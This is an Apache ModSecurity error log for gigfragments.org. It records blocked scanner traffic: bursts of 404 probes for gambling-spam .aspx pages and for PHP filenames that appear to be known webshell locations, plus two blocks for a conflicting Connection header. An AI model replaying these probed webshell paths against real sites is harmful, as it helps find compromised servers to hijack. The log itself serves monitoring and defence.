[Wed Apr 01 18:19:42.824537 2026] [:error] [pid 8910:tid 8987] [client 147.135.252.182:48050] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aczxPqJZINUcF3tYgEw2zQAAARM"]
[Wed Apr 01 18:19:44.700984 2026] [:error] [pid 17856:tid 17881] [client 147.135.252.182:48058] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aczxQD7Idlm5j9frhqTGmQAAAFc"]
[Wed Apr 01 18:19:46.584736 2026] [:error] [pid 8909:tid 8963] [client 147.135.252.182:48070] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aczxQjvP_a0662gDl6A15wAAANY"]
[Wed Apr 01 18:19:48.315024 2026] [:error] [pid 8908:tid 8937] [client 147.135.252.182:56380] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aczxRPkmxtJXGnLdvgA8NQAAAJg"]
[Wed Apr 01 18:19:50.330399 2026] [:error] [pid 8909:tid 8960] [client 147.135.252.182:56384] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aczxRjvP_a0662gDl6A18wAAANM"]
[Wed Apr 01 18:19:52.219327 2026] [:error] [pid 8909:tid 8951] [client 147.135.252.182:56400] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aczxSDvP_a0662gDl6A1_QAAAMo"]
[Wed Apr 01 18:19:54.109959 2026] [:error] [pid 8909:tid 8941] [client 147.135.252.182:56410] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aczxSjvP_a0662gDl6A2BQAAAMA"]
[Wed Apr 01 18:19:56.151406 2026] [:error] [pid 8908:tid 8936] [client 147.135.252.182:56420] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aczxTPkmxtJXGnLdvgA8PQAAAJc"]
[Wed Apr 01 18:19:58.024510 2026] [:error] [pid 8908:tid 8927] [client 147.135.252.182:52022] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aczxTvkmxtJXGnLdvgA8RQAAAI4"]
[Wed Apr 01 18:20:00.039957 2026] [:error] [pid 8908:tid 8928] [client 147.135.252.182:52028] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aczxUPkmxtJXGnLdvgA8SQAAAI8"]
[Wed Apr 01 18:20:02.057658 2026] [:error] [pid 8909:tid 8965] [client 147.135.252.182:52038] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aczxUjvP_a0662gDl6A2FQAAANg"]
[Wed Apr 01 18:20:04.069195 2026] [:error] [pid 8995:tid 8998] [client 147.135.252.182:52054] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aczxVOonaBjs3qxcReeViwAAAAA"]
[Wed Apr 01 18:20:06.071691 2026] [:error] [pid 62559:tid 62571] [client 147.135.252.182:52062] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aczxVi7NKI8IaNKZFIdijQAAAUo"]
[Wed Apr 01 18:20:08.098632 2026] [:error] [pid 17856:tid 17882] [client 147.135.252.182:56616] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aczxWD7Idlm5j9frhqTGzwAAAFg"]
[Wed Apr 01 18:20:09.992520 2026] [:error] [pid 8995:tid 9020] [client 147.135.252.182:56622] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aczxWeonaBjs3qxcReeVngAAABY"]
[Wed Apr 01 18:20:11.880154 2026] [:error] [pid 8910:tid 8970] [client 147.135.252.182:56634] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aczxW6JZINUcF3tYgEw25QAAAQI"]
[Wed Apr 01 18:20:13.896917 2026] [:error] [pid 8910:tid 8972] [client 147.135.252.182:56644] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aczxXaJZINUcF3tYgEw26wAAAQQ"]
[Wed Apr 01 18:20:15.926488 2026] [:error] [pid 8908:tid 8925] [client 147.135.252.182:56650] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aczxX_kmxtJXGnLdvgA8ZgAAAIw"]
[Wed Apr 01 18:20:17.955097 2026] [:error] [pid 8909:tid 8944] [client 147.135.252.182:44376] [client 147.135.252.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aczxYTvP_a0662gDl6A2KAAAAMM"]
[Wed Apr 01 20:05:53.468979 2026] [:error] [pid 8908:tid 8934] [client 43.157.82.252:36724] [client 43.157.82.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ac0KIfkmxtJXGnLdvgBtMAAAAJU"]
[Wed Apr 01 20:56:46.703940 2026] [:error] [pid 62559:tid 62572] [client 110.166.71.39:34680] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ac0WDi7NKI8IaNKZFIecmQAAAUs"]
[Wed Apr 01 21:05:26.756504 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:37006] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "ac0YFjvP_a0662gDl6DI0wAAAMs"]
[Wed Apr 01 21:05:27.306856 2026] [:error] [pid 17856:tid 17862] [client 52.156.211.140:37191] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "ac0YFz7Idlm5j9frhqQzTgAAAEQ"]
[Wed Apr 01 21:05:27.827274 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:37225] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "ac0YFzvP_a0662gDl6DI2QAAAMs"]
[Wed Apr 01 21:05:28.346514 2026] [:error] [pid 17856:tid 17881] [client 52.156.211.140:37231] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "ac0YGD7Idlm5j9frhqQzUAAAAFc"]
[Wed Apr 01 21:05:29.424446 2026] [:error] [pid 8910:tid 8976] [client 52.156.211.140:37214] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws42.php"] [unique_id "ac0YGaJZINUcF3tYgExiDwAAAQg"]
[Wed Apr 01 21:05:30.933833 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:37002] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws42.php"] [unique_id "ac0YGi7NKI8IaNKZFIefxwAAAUg"]
[Wed Apr 01 21:05:31.970200 2026] [:error] [pid 8908:tid 8931] [client 52.156.211.140:37225] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws42.php"] [unique_id "ac0YG_kmxtJXGnLdvgCJSAAAAJI"]
[Wed Apr 01 21:05:32.487068 2026] [:error] [pid 17856:tid 17870] [client 52.156.211.140:36995] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws42.php"] [unique_id "ac0YHD7Idlm5j9frhqQzXQAAAEw"]
[Wed Apr 01 21:05:33.004677 2026] [:error] [pid 8909:tid 8960] [client 52.156.211.140:37013] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ac0YHTvP_a0662gDl6DI6AAAANM"]
[Wed Apr 01 21:05:33.524747 2026] [:error] [pid 8995:tid 9014] [client 52.156.211.140:37243] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ac0YHeonaBjs3qxcRefKCwAAABA"]
[Wed Apr 01 21:05:34.032348 2026] [:error] [pid 8908:tid 8930] [client 52.156.211.140:36999] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ac0YHvkmxtJXGnLdvgCJUgAAAJE"]
[Wed Apr 01 21:05:34.546601 2026] [:error] [pid 8908:tid 8917] [client 52.156.211.140:37230] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "ac0YHvkmxtJXGnLdvgCJUwAAAIQ"]
[Wed Apr 01 21:05:35.050152 2026] [:error] [pid 8910:tid 8987] [client 52.156.211.140:37015] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac0YH6JZINUcF3tYgExiGQAAARM"]
[Wed Apr 01 21:05:35.595689 2026] [:error] [pid 8909:tid 8956] [client 52.156.211.140:37195] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac0YHzvP_a0662gDl6DI7wAAAM8"]
[Wed Apr 01 21:05:36.112917 2026] [:error] [pid 62559:tid 62585] [client 52.156.211.140:37020] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac0YIC7NKI8IaNKZFIef0AAAAVg"]
[Wed Apr 01 21:05:36.635042 2026] [:error] [pid 8908:tid 8931] [client 52.156.211.140:37235] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac0YIPkmxtJXGnLdvgCJYQAAAJI"]
[Wed Apr 01 21:05:37.179513 2026] [:error] [pid 17856:tid 17867] [client 52.156.211.140:4064] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ac0YIT7Idlm5j9frhqQzYwAAAEk"]
[Wed Apr 01 21:05:42.068757 2026] [:error] [pid 17856:tid 17881] [client 52.156.211.140:4079] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ac0YJj7Idlm5j9frhqQzdAAAAFc"]
[Wed Apr 01 21:05:42.578718 2026] [:error] [pid 8908:tid 8924] [client 52.156.211.140:36998] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ac0YJvkmxtJXGnLdvgCJcQAAAIs"]
[Wed Apr 01 21:05:43.206512 2026] [:error] [pid 8908:tid 8934] [client 52.156.211.140:37019] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "ac0YJ_kmxtJXGnLdvgCJcgAAAJU"]
[Wed Apr 01 21:05:43.719548 2026] [:error] [pid 17856:tid 17873] [client 52.156.211.140:37220] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "ac0YJz7Idlm5j9frhqQzewAAAE8"]
[Wed Apr 01 21:05:44.266819 2026] [:error] [pid 8908:tid 8917] [client 52.156.211.140:37022] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "ac0YKPkmxtJXGnLdvgCJdQAAAIQ"]
[Wed Apr 01 21:05:44.796876 2026] [:error] [pid 62559:tid 62569] [client 52.156.211.140:36994] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "ac0YKC7NKI8IaNKZFIef3wAAAUg"]
[Wed Apr 01 21:05:46.478453 2026] [:error] [pid 8995:tid 9002] [client 52.156.211.140:37005] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/north1.php"] [unique_id "ac0YKuonaBjs3qxcRefKHAAAAAQ"]
[Wed Apr 01 21:05:47.012557 2026] [:error] [pid 62559:tid 62563] [client 52.156.211.140:37023] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "ac0YKy7NKI8IaNKZFIef6gAAAUI"]
[Wed Apr 01 21:05:47.562824 2026] [:error] [pid 8909:tid 8963] [client 52.156.211.140:37208] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "ac0YKzvP_a0662gDl6DJFQAAANY"]
[Wed Apr 01 21:05:48.067740 2026] [:error] [pid 8995:tid 9007] [client 52.156.211.140:37238] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "ac0YLOonaBjs3qxcRefKIAAAAAk"]
[Wed Apr 01 21:05:48.682969 2026] [:error] [pid 8909:tid 8960] [client 52.156.211.140:37234] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eee.php"] [unique_id "ac0YLDvP_a0662gDl6DJHgAAANM"]
[Wed Apr 01 21:05:49.213594 2026] [:error] [pid 8909:tid 8952] [client 52.156.211.140:37229] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "ac0YLTvP_a0662gDl6DJJgAAAMs"]
[Wed Apr 01 21:05:49.763343 2026] [:error] [pid 8909:tid 8957] [client 52.156.211.140:37219] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "ac0YLTvP_a0662gDl6DJKgAAANA"]
[Wed Apr 01 21:05:50.269395 2026] [:error] [pid 8909:tid 8945] [client 52.156.211.140:37213] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "ac0YLjvP_a0662gDl6DJMAAAAMQ"]
[Wed Apr 01 21:05:50.781445 2026] [:error] [pid 8909:tid 8945] [client 52.156.211.140:37014] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ggb.php"] [unique_id "ac0YLjvP_a0662gDl6DJPQAAAMQ"]
[Wed Apr 01 21:05:51.284873 2026] [:error] [pid 8910:tid 8968] [client 52.156.211.140:37012] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "ac0YL6JZINUcF3tYgExiJQAAAQA"]
[Wed Apr 01 21:05:51.807909 2026] [:error] [pid 17856:tid 17873] [client 52.156.211.140:37209] [client 52.156.211.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin.php"] [unique_id "ac0YLz7Idlm5j9frhqQzhAAAAE8"]
